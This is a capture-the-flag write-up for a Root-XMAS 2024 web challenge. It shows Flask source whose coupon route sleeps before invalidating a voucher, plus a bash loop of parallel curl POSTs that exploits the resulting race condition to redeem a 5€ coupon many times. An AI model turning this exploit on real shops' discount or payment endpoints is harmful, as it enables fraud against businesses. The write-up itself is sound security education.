Root-XMAS 2024 Day 10 - Route-Mi Shop

# summary

A web challenge with a race condition allowing to apply multiple times a discount voucher.

# recon

We have a nice shop, with a 50€ flag. We can create an account, and we get a 5€ welcome voucher. The coupon is showed on our account page, and we can click on a button to redeem it. However there is no other way to add money to our account, so it's not enough to get the flag!

a shop with cheap items
a shop with cheap items
nice a coupon!
nice a coupon!

We have the sources, so let's check them out!

@app.route('/discount', methods=['POST'])
@login_required
def discount():
    user = User.query.get(session['user_id'])
    coupon_code = request.form.get('coupon_code')

    coupon = Coupon.query.filter_by(user_id=user.id, code=coupon_code).first()

Oh no, the coupon is tied to the account, we cannot create multiple ones to redeem the coupon to a single account! What do?

# solution

Let's investigate further our /discount route…

@app.route('/discount', methods=['POST'])
	...
	balance = int(user.balance)
    if coupon:
        if not coupon.used:
            balance += 5.0
            user.balance = balance
            db.session.commit()

            anti_bruteforce(2)

            coupon.used = True
            user.can_use_coupon = False
            db.session.commit()
            flash("Your account has been credited with 5€ !")
			...

def anti_bruteforce(time):
	return sleep(time)

Wait, so the code credits our account, sleeps 2 seconds and then invalidate the coupon? smells like a race condition!

Now you have multiple solutions, you can brute-force with Burp/Zap/Caido . Strangely I could not manage to have 10 requests done in 2 seconds with Zap and Caido. Maybe there is an overhead or I missed some parameter. So let's do it with a simple bash script:

#!/bin/env bash

cookie="eyJ1c2V..." # get from browser devtools
coupon_code="6283860a-..."

for i in {00..200}
do
    curl -k 'https://day10.challenges.xmas.root-me.org/discount' -X POST \
	-H 'Content-Type: application/x-www-form-urlencoded' \ 
	-H "Cookie: session=$cookie" 
	--data-raw "coupon_code=$coupon_code" & 
	# don't forget the '&' to paralellize!
done

Strangely, I had to test the script 2-3 times, as sometimes it only managed to redeem the coupon 5 or 7 times, when we needed 10 to buy the flag. There must be a more efficient and reliable way to send multiple requests in parallel. Maybe with a script in python or Rust creating threads, the Portswigger documentation on Race conditions also talks about warming up requests.

I also met someone who solved the challenge withe the advanced technique of… spamming the redeem button with his mouse! A Cookie Clicker pro player I guess, and his technique worked very well. Sometimes the challs are that simple ^^'

Race conditions are real, most of the time not as obvious as this challenge, but it's often easy to find some in the wild!

Previous day Day 09 - The Christmas ThiefDay 09 - The Christmas Thief

Next day Day 11 - PadoruDay 11 - Padoru